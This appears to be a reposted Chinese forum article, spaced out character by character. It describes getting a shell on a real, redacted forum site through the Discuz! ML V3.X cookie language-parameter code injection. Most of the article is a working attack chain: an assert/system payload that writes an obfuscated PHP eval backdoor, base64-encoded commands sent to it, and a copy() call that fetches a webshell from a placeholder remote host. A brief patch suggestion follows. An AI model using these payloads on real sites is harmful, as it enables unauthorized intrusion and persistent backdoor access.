搜索

[2139] 2020-09-04_某论坛getshell

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2020-09-04_某论坛getshell 某 论 坛 g e t s h e l l 原 创   S u n R 1 s 3   E D I 安 全   2 0 2 0 - 0 9 - 0 4 收 录 于 话 题   # 白 帽 之 旅   , 3 1 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 前 言 此 次 s h e l l 利 用 了 D i s c u z ! M L   V 3 . X   代 码 注 入 漏 洞 在 1 9 年 7 月 1 1 日 ， D i s c u z ！ M L 被 发 现 存 在 一 处 远 程 代 码 执 行 漏 洞 ， 攻 击 者 通 过 在 请 求 流 量 的 c o o k i e 字 段 中 的 l a n g u a g e 参 数 处 插 入 构 造 的 p a y l o a d ， 进 行 远 程 代 码 执 行 利 用 ， 该 漏 洞 利 用 方 式 简 单 ， 危 害 性 较 大 。 0 2 漏 洞 U R L 漏 洞 u r l ： h t t p : / / w w w . x x x x . n e t . c n 0 3 漏 洞 复 现 将 p a y l o a d 进 行 两 次 u r l d e c o d e 解 码 则 为 直 接 在 t S W a _ 2 1 3 2 _ l a n g u a g e 参 数 后 面 添 加 p a y l o a d , 发 送 请 求 ， 通 过 回 显 发 现 请 求 成 功 。 测 试 1 . p h p 文 件 是 否 写 入 ， 将 你 想 执 行 的 命 令 进 行 b a s e 6 4 编 码 。 0 x 0 1     p a y l o a d ' . a s s e r t ( s y s t e m ( u r l d e c o d e ( ' e c h o " < ? p h p   @ $ p i = b a s e _ c o n v e r t % 3 b $ p i = $ p i ( 5 3 1 7 9 , 1 0 , 3 6 ) ^ $ p i ( 1 1 0 9 1 3 6 , 1 0 , 3 6 ) % 3 b $ { $ p i } { 0 } ( b a s e 6 4 _ d e c o d e ( $ { $ p i } { 1 } ) ) % 3 b ? > "   >   . % 2 5 2 f d a t a % 2 5 2 f 1 . p h p ' ) ) ) . ' 0 x 0 2 0 x 0 3 0 x 0 4 访 问 h t t p : / / w w w . x x x x x x . c n / d a t a / 1 . p h p ? 0 = a s s e r t & 1 = c 3 l z d G V t K C d s c y c p 回 显 成 功 ， 则 1 . p h p 写 入 成 功
通 过 写 入 的 p h p 文 件 执 行 c o p y ( " h t t p : / / x x x x x : 8 0 8 8 / 1 . t x t " , " t e s t . p h p " ) 将 该 命 令 进 行 b a s e 6 4 编 码 访 问 之 后 会 在 d a t a 目 录 下 创 建 一 个 t e s t . p h p 文 件 ， 接 着 我 们 访 问 该 文 件 访 问 ： h t t p : / / w w w . x x x x . n e t . c n / d a t a / t e s t . p h p 密 码 ： a d m i n 发 现 我 们 已 经 g e t s h e l l 成 功 0 4 修 复 建 议 单 看 语 言 这 个 点 ： 在 / s o u r c e / c l a s s / d i s c u z / d i s c u z _ a p p l i c a t i o n . p h p   第 3 3 8 行 之 后 3 4 1 行 之 前 加 入 该 代 码 暂 缓 此 安 全 问 题 ： 0 x 0 5 h t t p : / / w w w . x x x x x x . c n / d a t a / 1 . p h p ? 0 = a s s e r t & 1 = Y 2 9 w e S g i a H R 0 c D o v L z I w x x x x x x x x x x M D g 4 L z E u d H h 0 I i w i d G V z d C 5 w a H A i K Q = = 0 x 0 6 $ l n g   =   s t r _ r e p l a c e ( " ( " , " " , $ l n g ) ; $ l n g   =   s t r _ r e p l a c e ( " ) " , " " , $ l n g ) ; $ l n g   =   s t r _ r e p l a c e ( " ' " , " " , $ l n g ) ; $ l n g   =   s t r _ r e p l a c e ( ' " ' , " " , $ l n g ) ; $ l n g   =   s t r _ r e p l a c e ( ' ` ' , " " , $ l n g ) ;
P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理